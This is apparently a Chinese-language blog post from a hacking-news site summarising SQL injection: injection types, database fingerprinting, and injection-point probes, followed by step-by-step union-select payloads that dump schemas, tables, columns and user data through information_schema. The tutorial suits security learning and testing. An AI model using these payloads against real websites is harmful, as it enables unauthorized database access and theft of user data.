SQL注入的总结

SQL注入的总结

黑客资讯访客1970-01-01 8:00:002973A+A-

有人的地方就有江湖,有数据库的地方就会有SQL注入(有可能…)
那么言归正传,SQL注入这个漏洞是怎么造成的呢???
680FCCBB3C0AA4A71DE29C51D624B291.gif

当客户端提交的数据没有被作处理或者没有被转义直接就带入数据库,那么就会造成我刚刚说的SQL注入漏洞,攻击者通过构造不同的SQL语句来实现对数据库的任意操作
接下来说一下注入的分类:

1.联合注入

2.布尔注入

3.报错注入

4.延时注入

5.内联注入

6.堆叠注入

以上这些是根据sqlmap的注入类型列出来的

u=1858842547,4110583587fm=11gp=0.jpg

再列一下常用的参数与系统函数

参数:

schemata table_schema

tables table_name

columns column_name

系统函数:

database() version() user()

再说一下如何判断数据库类型:

(1)注释符判断

/是 MySQL 中的注释符,返回错误说明该注入点的数据库不是MySQL

–是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为是这两种数据库类型之一

;是子句查询标识符,Oracle 不支持多行查询,因此如果返回错误,则说明很可能是 Oracle

(2)函数判断

and (select count(*)from MSysAccessObjects)>0 access 数据库

and (select count(*)from sysobjects)>0 返回正常说明是 mssql 数据库

and length(user())>10 返回正常说明是 Mysql

Oracle 可以根据 from dual 虚拟库判断

对了,判断注入点忘记说了

数字型:id=2-1

字符型: ’ 、’)、 '))、 "、 ")、 "))

注释符:-- (这是–空格)、–+、、#

通过观察页面是否正常,判断页面是否存在注入点

如 id=21’ and 1=1 %23 页面正常

id=21’ and 1=2 %23 页面返回无数据

MySQL 与 MSSQL 及 ACCESS 之间的区别

(1)MySQL5.0 以下没有 information_schema 这个默认数据库

(2)ACCESS 没有库名,只有表和字段,并且注入时,后面必须跟表名,因此只能爆表,ACCESS

举例:select 1,2,3 from table_name union select 1,2,3 from table_name

(3)MySQL 使用 limit 排序,ACCESS 使用 TOP 排序(TOP 在 MSSQL 也可使用)

最后就讲一下常用的联合查询法

确认存在注入点之后

利用二分法查询字段数,观察页面变化从而确定字段内容

order by 二分法联合查询字段数,观察页面变化从而确定字段数

order by 判断字段

例如order by 1到4都是正常的到5就报错,那么字段就是4

利用 and 1=2 或 and 0 及 id=-12 是数据为空从而查看显示数据的位置
替换显示位改成 SQL 语句,查看信息(当前数据库,版本及用户名)

and 1=2 union select version(),2,3

再查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information
schema.schemata),2,3

查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3

查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3

查询字段内容
如:查询 test 库下 users 表的 id 及 uname 字段,用’~'区分 id 和 uname 以防字符连接到一起

union select(select group_concat(id,’~’,uname)from test.users),2,3

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 3条评论
  • 痛言情授2022-06-04 02:14:40
  • ser())>10 返回正常说明是 MysqlOracle 可以根据 from dual 虚拟库判断对了,判断注入点忘记说了数字型:id=2-1字符型: ’ 、’)、 '))、 "、 ")、 "))注释符:-- (这是–空格)、–+、
  • 北槐僚兮2022-06-03 18:34:08
  • ,并且注入时,后面必须跟表名,因此只能爆表,ACCESS举例:select 1,2,3 from table_name union select 1,2,3 fr
  • 辞眸北槐2022-06-03 22:24:25
  • rsion() user()再说一下如何判断数据库类型:(1)注释符判断/是 MySQL 中的注释符,返回错误说明该注入点的数据库不是MySQL–是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为是这两种数据库类型之一;是子句查询标识符,Oracle 不支持多行查询,因此如果

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理